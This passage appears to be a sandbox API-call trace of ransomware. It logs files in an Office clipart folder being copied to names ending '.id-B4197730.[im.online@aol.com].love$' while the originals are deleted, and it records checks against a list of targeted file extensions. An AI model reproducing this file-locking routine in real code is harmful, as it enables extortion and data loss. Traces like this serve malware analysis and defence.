(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.033] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.033] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.035] GetLastError () returned 0x0 [0272.035] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.102] WriteFile (in: hFile=0x454, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.104] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.104] WriteFile (in: hFile=0x454, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.104] SetEndOfFile (hFile=0x454) returned 1 [0272.114] CloseHandle (hObject=0x454) returned 1 [0272.116] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.116] SetEndOfFile (hFile=0x57c) returned 1 [0272.156] CloseHandle (hObject=0x57c) returned 1 [0272.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.158] lstrlenW (lpString=".doc") returned 4 [0272.158] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".docx") returned 5 [0272.159] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0272.159] lstrlenW (lpString=".pdf") returned 4 [0272.159] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".xls") returned 4 [0272.159] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".xlsx") returned 5 [0272.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0272.159] lstrlenW (lpString=".ppt") returned 4 [0272.159] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.159] lstrlenW (lpString=".zip") returned 4 [0272.159] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".rar") returned 4 [0272.159] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".bz2") returned 4 [0272.159] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString=".7z") returned 3 [0272.159] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.159] lstrlenW (lpString=".dbf") returned 4 [0272.159] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.159] lstrlenW (lpString=".1cd") returned 4 [0272.159] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.160] lstrlenW (lpString=".jpg") returned 4 [0272.160] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.160] lstrlenW (lpString=".doc") returned 4 [0272.160] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".docx") returned 5 [0272.160] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0272.160] lstrlenW (lpString=".pdf") returned 4 [0272.160] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".xls") returned 4 [0272.160] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".xlsx") returned 5 [0272.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0272.160] lstrlenW (lpString=".ppt") returned 4 [0272.160] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.160] lstrlenW (lpString=".zip") returned 4 [0272.160] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".rar") returned 4 [0272.160] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".bz2") returned 4 [0272.160] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.160] lstrlenW (lpString=".7z") returned 3 [0272.161] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.161] lstrlenW (lpString=".dbf") returned 4 [0272.161] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.161] lstrlenW (lpString=".1cd") returned 4 [0272.161] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0272.161] lstrlenW (lpString=".jpg") returned 4 [0272.161] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.161] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.162] lstrlenW (lpString="J0101864.BMP") returned 12 [0272.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.163] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=31968) returned 1 [0272.163] CloseHandle (hObject=0x57c) returned 1 [0272.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0272.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.164] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.164] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.167] GetLastError () returned 0x0 [0272.167] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0272.189] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0272.190] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.190] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.191] SetEndOfFile (hFile=0x4c8) returned 1 [0272.191] CloseHandle (hObject=0x4c8) returned 1 [0272.191] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.191] SetEndOfFile (hFile=0x57c) returned 1 [0272.196] CloseHandle (hObject=0x57c) returned 1 [0272.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0272.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.198] lstrlenW (lpString=".doc") returned 4 [0272.198] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.198] lstrlenW (lpString=".docx") returned 5 [0272.198] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0272.198] lstrlenW (lpString=".pdf") returned 4 [0272.198] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.198] lstrlenW (lpString=".xls") returned 4 [0272.198] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.198] lstrlenW (lpString=".xlsx") returned 5 [0272.198] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0272.198] lstrlenW (lpString=".ppt") returned 4 [0272.198] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString=".zip") returned 4 [0272.199] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString=".rar") returned 4 [0272.199] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString=".bz2") returned 4 [0272.199] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString=".7z") returned 3 [0272.199] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString=".dbf") returned 4 [0272.199] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString=".1cd") returned 4 [0272.199] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString=".jpg") returned 4 [0272.199] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.199] lstrlenW (lpString=".doc") returned 4 [0272.199] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.199] lstrlenW (lpString=".docx") returned 5 [0272.199] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0272.199] lstrlenW (lpString=".pdf") returned 4 [0272.199] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString=".xls") returned 4 [0272.200] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString=".xlsx") returned 5 [0272.200] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0272.200] lstrlenW (lpString=".ppt") returned 4 [0272.200] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.200] lstrlenW (lpString=".zip") returned 4 [0272.200] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString=".rar") returned 4 [0272.200] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString=".bz2") returned 4 [0272.200] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString=".7z") returned 3 [0272.200] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.200] lstrlenW (lpString=".dbf") returned 4 [0272.200] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.200] lstrlenW (lpString=".1cd") returned 4 [0272.200] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0272.200] lstrlenW (lpString=".jpg") returned 4 [0272.200] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.201] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.201] lstrlenW (lpString="J0101866.BMP") returned 12 [0272.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.496] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=32184) returned 1 [0272.496] CloseHandle (hObject=0x47c) returned 1 [0272.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0272.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.497] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.497] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.499] GetLastError () returned 0x0 [0272.499] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.502] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.504] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.504] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.505] SetEndOfFile (hFile=0x4ac) returned 1 [0272.505] CloseHandle (hObject=0x4ac) returned 1 [0272.505] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.505] SetEndOfFile (hFile=0x47c) returned 1 [0272.510] CloseHandle (hObject=0x47c) returned 1 [0272.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.512] lstrlenW (lpString=".doc") returned 4 [0272.512] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.512] lstrlenW (lpString=".docx") returned 5 [0272.512] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0272.513] lstrlenW (lpString=".pdf") returned 4 [0272.513] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString=".xls") returned 4 [0272.513] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString=".xlsx") returned 5 [0272.513] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0272.513] lstrlenW (lpString=".ppt") returned 4 [0272.513] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.513] lstrlenW (lpString=".zip") returned 4 [0272.513] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString=".rar") returned 4 [0272.513] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString=".bz2") returned 4 [0272.513] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString=".7z") returned 3 [0272.513] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.513] lstrlenW (lpString=".dbf") returned 4 [0272.513] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.513] lstrlenW (lpString=".1cd") returned 4 [0272.513] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.513] lstrlenW (lpString=".jpg") returned 4 [0272.513] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.514] lstrlenW (lpString=".doc") returned 4 [0272.514] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".docx") returned 5 [0272.514] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0272.514] lstrlenW (lpString=".pdf") returned 4 [0272.514] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".xls") returned 4 [0272.514] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".xlsx") returned 5 [0272.514] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0272.514] lstrlenW (lpString=".ppt") returned 4 [0272.514] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.514] lstrlenW (lpString=".zip") returned 4 [0272.514] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".rar") returned 4 [0272.514] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".bz2") returned 4 [0272.514] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString=".7z") returned 3 [0272.514] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.514] lstrlenW (lpString=".dbf") returned 4 [0272.514] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.514] lstrlenW (lpString=".1cd") returned 4 [0272.515] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0272.515] lstrlenW (lpString=".jpg") returned 4 [0272.515] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.515] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.515] lstrlenW (lpString="J0102594.WMF") returned 12 [0272.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.516] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=27000) returned 1 [0272.516] CloseHandle (hObject=0x47c) returned 1 [0272.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0272.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.517] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.517] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: 